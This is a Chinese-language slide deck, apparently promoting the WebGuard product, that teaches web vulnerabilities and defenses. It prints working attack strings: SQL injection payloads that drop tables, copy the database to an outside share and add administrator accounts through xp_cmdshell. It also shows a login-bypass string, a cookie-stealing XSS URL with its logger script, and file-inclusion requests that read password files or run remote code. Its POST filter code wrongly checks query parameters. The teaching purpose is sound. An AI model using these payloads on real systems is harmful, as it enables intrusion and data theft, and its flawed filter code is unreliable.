



Web安全防护技术全接触

——WebGuard，您的网页保护专家！

<http://www.zhihengit.com>

- 常见安全漏洞描述
- 典型攻击手法
- 安全漏洞的防范
- **WEB**攻击的检测

- SQL Injection漏洞
- 逻辑错误漏洞
- Cookie欺骗漏洞
- 跨站脚本漏洞
- 信息泄露漏洞
- 拒绝服务漏洞
- 访问控制错误漏洞

- 漏洞简介
 - WEB程序将客户端输入当作SQL语句执行
- 漏洞成因
 - 对用户输入中包含的SQL关键字过滤不严

- 漏洞简介
 - 利用WEB程序生成的SQL语句具有逻辑错误攻击
- 漏洞成因
 - 对用户输入中包含的SQL关键字和特殊字符过滤不严

- 漏洞简介
 - 利用工具修改客户端的Cookie欺骗服务器端WEB程序
- 漏洞成因
 - WEB程序使用明文Cookie
 - WEB程序仅仅使用Cookie进行身份验证

- 漏洞简介
 - 攻击者通过诱骗受害者点击特殊编码的URL窃取Cookie资料
- 漏洞成因
 - WEB程序对html参数过滤不严

- 漏洞简介
 - 提交特殊的错误参数，WEB服务器无法处理而返回详细的错误信息
- 漏洞成因
 - WEB程序对错误处理不严
 - WEB服务器配置不当

- 漏洞简介
 - 提交特殊的参数，让WEB程序对数据库进行大量的搜索导致消耗内存或者CPU资源
- 漏洞成因
 - WEB程序中SQL语句写作不严格

- 漏洞简介
 - 敏感目录或者敏感文件权限设置不当导致被攻击者查看
- 漏洞成因
 - WEB程序权限设置不严格
 - WEB服务器权限设置不当

- 问题代码(ASP+MS SQL Server)

```
if Request.QueryString("id") is Nothing then id = 1
```

```
    else id = Request.QueryString("id")
```

```
end if
```

```
sql = "select title,content from [news] where id=" &id
```

```
set rs = Server.CreateObject("adodb.Recordset")
```

```
rs.Open sql,connection,1,1
```

- 修改数据库内容
 - 提交语句 `http://target/news.asp?id=1;update news set title='test' where title='oldtitle'`
 - `select title,content from [news] where id=1; update news set title='test' where title='oldtitle'`

- 删除其它表
 - 提交语句 `http://target/news.asp?id=1;drop table tablename`
 - `select title,content from [news] where id=1;drop table tablename`

- 窃取数据到本地
 - 本地建立匿名可写共享目录testdir
 - 提交语句 `http://target/news.asp?id=1; declare @a varchar(128);set @a=db_name();backup database @a to disk='\\LocalIP\testdir\bak.dat';--`
 - `select title,content from [news] where id=1; declare @a varchar(128);set @a=db_name();backup database @a to disk='\\LocalIP\testdir\bak.dat';--`

- 执行系统命令
 - 添加管理员帐号
 - `http://target/news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net user sql sql /add';--`
 - `http://target/news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net localgroup administrators sql /add';--`

- 问题代码(ASP+MS SQL Server)

```
sql = "select * from [admin] where name='" + Request.Form("name")+ "' and  
pass='" + Request.Form("pass")+ "'"
```

```
set rs = Server.CreateObject("adodb.Recordset")
```

```
rs.Open sql,connection,1,1
```

- 身份验证绕过
 - 登陆处提交帐户密码均为a' or 'a'='a
 - 登陆语句变为sql = “select * from [admin] where name='a' or 'a'='a' and pass='a' or 'a'='a'”，此语句恒成立

- 文件型Cookie欺骗
 - 保存在硬盘上
- 会话型Cookie欺骗
 - 保存在内存中



- 修改硬盘上保存的Cookie
 - 使用工具IECookiesView修改
- 直接发送Cookie
 - 直接使用curl发送Cookie
 - `curl http://target/index.php -b "admin=1" -d "other_action=todo"`



- 获取HTTP响应头，伪造Cookie
 - 使用NetCat连接目标，获取HTTP响应头，修改Cookie字段
- 虚假代理，发送Cookie
 - 使用 NetCat 监听端口，发送 Cookie 到浏览器，NC -vv -l -p 9090<Cookie.txt
 - 设置浏览器代理为127.0.0.1:9090，访问目标

典型攻击手法—跨站脚本攻击

- 编写Cookie收集脚本cookie_logger.php

```
<?
```

```
$cookie = getenv("QUERY_STRING");
```

```
if ($cookie) {
```

```
    $fp = fopen("cookie.txt","a");
```

```
    fwrite($fp,$cookie."\n");
```

```
    fclose($fp);
```

```
}
```

```
header("Location: http://victim/program.cgi");
```

```
?>
```

- 生成恶意URL诱骗用户点击
 - Cookie收集脚本运行在cookie_logger.php
 - `http://target/index.php?input=<script>document.location='http://control/cookie_logger.php?'+document.cookie</script>`

- 泄露物理路径
 - 请求不存在文件
- 猜解正确用户名
 - 输入错误用户名时，返回”该用户不存在”
- 暴露数据库路径
 - 请求<http://target/news%5creadnews.asp?newid=1>暴露Access数据库路径

典型攻击手法—拒绝服务攻击

- 耗时数据库查询
- 大量代理分布式查询
- 突破一般防火墙

- 上传程序无密码保护
 - <http://target/upfile.asp>
- 后台管理无密码保护且易猜测后台管理地址
 - <http://target/admin>
 - <http://target/manage>
- 下载模块下载敏感文件
 - <http://target/down.jsp?file=c:\winnt\repair\sam>

- 变量滥用漏洞
 - 变量没有初始化
- 远程文件包含漏洞
 - 没有检验文件是否本地文件

- 问题代码

```
<?
```

```
//test_1.php
```

```
if ($pass == "hello") $auth = 1;
```

```
if ($auth == 1) echo "some important information";
```

```
else echo "nothing";
```

```
?>
```

- 自定义变量绕过验证
 - 提交http://victim/test_1.php?auth=1



- 问题代码

```
<?
```

```
//test_2.php
```

```
if(file_exists($filename))
```

```
include("$filename");
```

```
?>
```



- 请求敏感文件
 - 请求 `http://target/test_2.php?filename=/etc/passwd`
- 远程执行命令
 - 生成远程文件 `attack.txt`, 运行为 `http://hacker/attack.txt` , 内容为 `<?passthru("ls /etc")?>`
 - 请求 `http://target/test_2.php?filename=http://attack/attack.txt`

- 问题代码

```
<?
```

```
//test_3.php
```

```
include("$lib/config.php");
```

```
?>
```

- 远程执行命令
 - 生成远程文件 config.php, 运行为 `http://hacker/config.php` , 内容为 `<?passthru("ls /etc")?>`
 - 请求 `http://target/test_3.php?lib=http://hacker` 即可执行命令

- WEB程序级别过滤
- WEB服务器级别过滤



- 编写通用的安全模块
 - 优势：
 - 处理速度较好
 - 代码编写比较容易
 - 劣势：
 - 要求程序员具有一定的WEB安全知识
 - 一时疏忽可能造成模块使用遗漏
 - 部署第三方产品较为危险

- 安装额外的安全模块
 - 优势：
 - 可以安全的部署第三方WEB产品而不过于考虑WEB程序安全
 - 不易被特殊编码绕过限制
 - 劣势：
 - 在性能上略有降低
 - 编写或者配置比较复杂

- 过滤GET方法的参数
- 过滤POST方法的参数



- 过滤GET请求模块代码（ASP）

```
dim sql_injdata
SQL_injdata = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
    For Each SQL_Get In Request.QueryString
        For SQL_Data=0 To Ubound(SQL_inj)
            if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
                Response.Write "参数中包含非法字符"
                Response.end
            end if
        next
    Next
End If
```

- 过滤POST请求模块代码（ASP）

```
dim sql_injdata
SQL_injdata = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.Form<>"" Then
    For Each SQL_Get In Request.QueryString
        For SQL_Data=0 To Ubound(SQL_inj)
            if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
                Response.Write "参数中包含非法字符"
                Response.end
            end if
        next
    Next
End If
```



- IIS服务器
 - IIS ISAPI Filter过滤
- Apache服务器
 - Apache mod_security过滤

- IIS ISAPI Filter

- ISAPI Filter位于服务器和客户端之间，能够对服务器和客户端之间的通信进行预处理和后处理
- 实现 IIS 提供的 3 个接口 GetFilterVersion、HttpFilterProc 和 TerminateFilter

- Apache Mod_Security

- 在web服务器或者任何其他模块获得handled之前, 对进入的请求进行分析
- 进行非常详细的颗粒过滤, 查看任何一个单独的参数, 甚至Cookie值
- 详细的记录每一个请求(包括POST), 可以被用在法律取证

- 程序只实现指定的功能
 - 每个函数或者文件只实现基本的功能，越简洁的程序越不容易出现错误
 - 多个功能简单的函数或文件组成功能强大的程序
- 永远不要信任用户输入
 - 检查输入的每个字符是否都在合法字符集内，而不是判断是否存在非法字符

- 尽可能的捕获错误
 - 尽量捕获每一个意外情况，不泄露任何关于错误的详细信息（如只要用户名和口令有一样不正确，都显示同样的错误信息，攻击者无法识别有效用户名。
 - 发现错误之后立即停止执行
- 尽可能少的在客户端储存信息
 - 尽量用在服务端的Session验证

- WEB日志
- 防火墙日志
- 数据库日志
- IDS日志
- WEB目录文件

- 定期分析WEB日志
 - 检查SQL语句关键字参数，如select, insert, update, drop等
 - 检查特殊字符参数，如‘;--/\ * =’等
 - 检查特殊表达式，如1=1,1=2,a’ or ‘a’=‘a’等
 - 检查特殊文件的请求记录

- 定期分析防火墙日志
 - 定期检查服务器对外发起的连接
 - 定期检查TFTP协议，FTP协议数据

- 定期分析数据库日志
 - 数据库备份的记录
 - 数据库建立新库或者新表的记录
 - 存储过程执行记录
 - 数据导入导出记录

- 定期分析IDS日志
 - 搜索SQL攻击记录
 - 分析WEB端口连接IP分布以及请求分布

- 定期检查WEB目录文件
 - 关键字搜索
 - 文件修改时间
 - 文件最后访问时间
 - 特殊文件名文件
 - 上传文件夹
 - 文件大小

以上均采用WebGuard系统进行监测，自动监测，一旦发现篡改立即恢复。

联系我们

地址：北京市海淀区学院南路68号吉安大厦B座603室

邮编：100081

电话：010-62161583 传真：010-62162854

手机：13661136484 联系人：李先生

业务联系邮件：sales@zhihengit.com

技术咨询邮件：support@zhihengit.com

网站咨询：webmaster@zhihengit.com